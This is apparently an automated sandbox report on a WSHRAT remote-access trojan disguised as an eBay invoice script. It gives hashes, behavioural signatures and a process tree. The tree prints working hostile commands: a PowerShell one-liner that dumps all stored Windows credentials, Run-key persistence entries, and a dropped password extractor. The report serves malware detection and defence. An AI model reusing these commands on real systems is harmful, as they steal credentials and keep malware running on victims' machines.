Analysis
- max time kernel
146s - max time network
148s - platform
windows10_x64 - resource
win10v20210410 - submitted
01/06/2021, 14:28
Static task
static1
Behavioral task
behavioral1
Sample
Ebay-invoice-27814.js
Resource
win7v20210408
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Ebay-invoice-27814.js
Resource
win10v20210410
0 signatures
0 seconds
General
- Target Ebay-invoice-27814.js
- Size 203KB
- Sample210601-b5tca26y5a
- SHA256 560386c6a67d6e2c217b7256bea1c9857a440b96cae388a72bfcc50b34ed6cd2
- MD5 f6971cb72125dcc83648bc76ac1448b8
- SHA1 8aca767fe15d838bce57a440c88bf3ae5e6013bf
- SHA512 203770d6f89741a5fee99358a1b8f99ed30702c16f0978423351bf95c855f5b01dde2abb2ba0344be9107c1ea0d79025fa24b961f5e9d0c60a06e6f536f26a74
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- WSHRAT Payload 2 IoCs
resource yara_rule behavioral2/files/0x0008000000000689-115.dat family_wshrat behavioral2/files/0x000200000001ab57-116.dat family_wshrat - Blocklisted process makes network request 27 IoCs
flow pid Process 8 4004 wscript.exe 10 4004 wscript.exe 16 4004 wscript.exe 17 4004 wscript.exe 18 4004 wscript.exe 21 4004 wscript.exe 24 4004 wscript.exe 25 4004 wscript.exe 26 4004 wscript.exe 27 4004 wscript.exe 28 4004 wscript.exe 29 4004 wscript.exe 30 4004 wscript.exe 31 4004 wscript.exe 32 4004 wscript.exe 33 4004 wscript.exe 34 4004 wscript.exe 35 4004 wscript.exe 36 4004 wscript.exe 37 4004 wscript.exe 38 4004 wscript.exe 39 4004 wscript.exe 40 4004 wscript.exe 41 4004 wscript.exe 42 4004 wscript.exe 43 4004 wscript.exe 44 4004 wscript.exe - Executes dropped EXE 2 IoCs
pid Process 3984 python.exe 2244 cmdc.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Ebay-invoice-27814.js wscript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Ebay-invoice-27814.js wscript.exe - Loads dropped DLL 12 IoCs
pid Process 3984 python.exe 3984 python.exe 3984 python.exe 3984 python.exe 3984 python.exe 3984 python.exe 3984 python.exe 3984 python.exe 3984 python.exe 3984 python.exe 3984 python.exe 3984 python.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 8 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ebay-invoice-27814 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Ebay-invoice-27814.js\"" wscript.exe Key created \REGISTRY\MACHINE\software\microsoft\windows\currentversion\run wscript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ebay-invoice-27814 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Ebay-invoice-27814.js\"" wscript.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\software\microsoft\windows\currentversion\run wscript.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ebay-invoice-27814 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Ebay-invoice-27814.js\"" wscript.exe Key created \REGISTRY\MACHINE\software\microsoft\windows\currentversion\run wscript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ebay-invoice-27814 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Ebay-invoice-27814.js\"" wscript.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\software\microsoft\windows\currentversion\run wscript.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Kills process with taskkill 2 IoCs
pid Process 1204 taskkill.exe 1576 taskkill.exe - Script User-Agent 25 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 37 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 39 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 25 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 26 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 30 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 32 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 33 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 34 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 41 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 42 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 44 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 16 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 18 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 27 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 29 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 31 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 43 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 38 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 40 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 10 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 17 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 24 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 28 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 35 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 36 WSHRAT|A2C56C1C|RJMQBVDN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 1/6/2021|JavaScript-v3.4|NL:Netherlands - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3748 powershell.exe 3748 powershell.exe 3748 powershell.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3748 powershell.exe Token: 35 3984 python.exe Token: SeDebugPrivilege 1204 taskkill.exe Token: SeDebugPrivilege 1576 taskkill.exe - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3904 wrote to memory of 4004 3904 wscript.exe 74 PID 3904 wrote to memory of 4004 3904 wscript.exe 74 PID 4004 wrote to memory of 3748 4004 wscript.exe 82 PID 4004 wrote to memory of 3748 4004 wscript.exe 82 PID 4004 wrote to memory of 2252 4004 wscript.exe 84 PID 4004 wrote to memory of 2252 4004 wscript.exe 84 PID 2252 wrote to memory of 3984 2252 cmd.exe 86 PID 2252 wrote to memory of 3984 2252 cmd.exe 86 PID 2252 wrote to memory of 3984 2252 cmd.exe 86 PID 4004 wrote to memory of 1340 4004 wscript.exe 87 PID 4004 wrote to memory of 1340 4004 wscript.exe 87 PID 1340 wrote to memory of 1204 1340 cmd.exe 89 PID 1340 wrote to memory of 1204 1340 cmd.exe 89 PID 4004 wrote to memory of 2164 4004 wscript.exe 90 PID 4004 wrote to memory of 2164 4004 wscript.exe 90 PID 2164 wrote to memory of 1576 2164 cmd.exe 92 PID 2164 wrote to memory of 1576 2164 cmd.exe 92 PID 4004 wrote to memory of 2244 4004 wscript.exe 93 PID 4004 wrote to memory of 2244 4004 wscript.exe 93 PID 4004 wrote to memory of 2244 4004 wscript.exe 93 PID 4004 wrote to memory of 856 4004 wscript.exe 95 PID 4004 wrote to memory of 856 4004 wscript.exe 95
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Ebay-invoice-27814.js1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3904 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\Ebay-invoice-27814.js"2⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3748
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"3⤵
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Users\Admin\AppData\Roaming\wshsdk\python.exeC:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3984
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe3⤵
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\system32\taskkill.exetaskkill /F /IM cmdc.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1204
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe3⤵
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\system32\taskkill.exetaskkill /F /IM cmdc.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1576
-
-
-
C:\Users\Admin\AppData\Roaming\cmdc.exe"C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata3⤵
- Executes dropped EXE
PID:2244
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c mkdir "C:\Users\Admin\AppData\Roaming\wshlogs"3⤵PID:856
-
-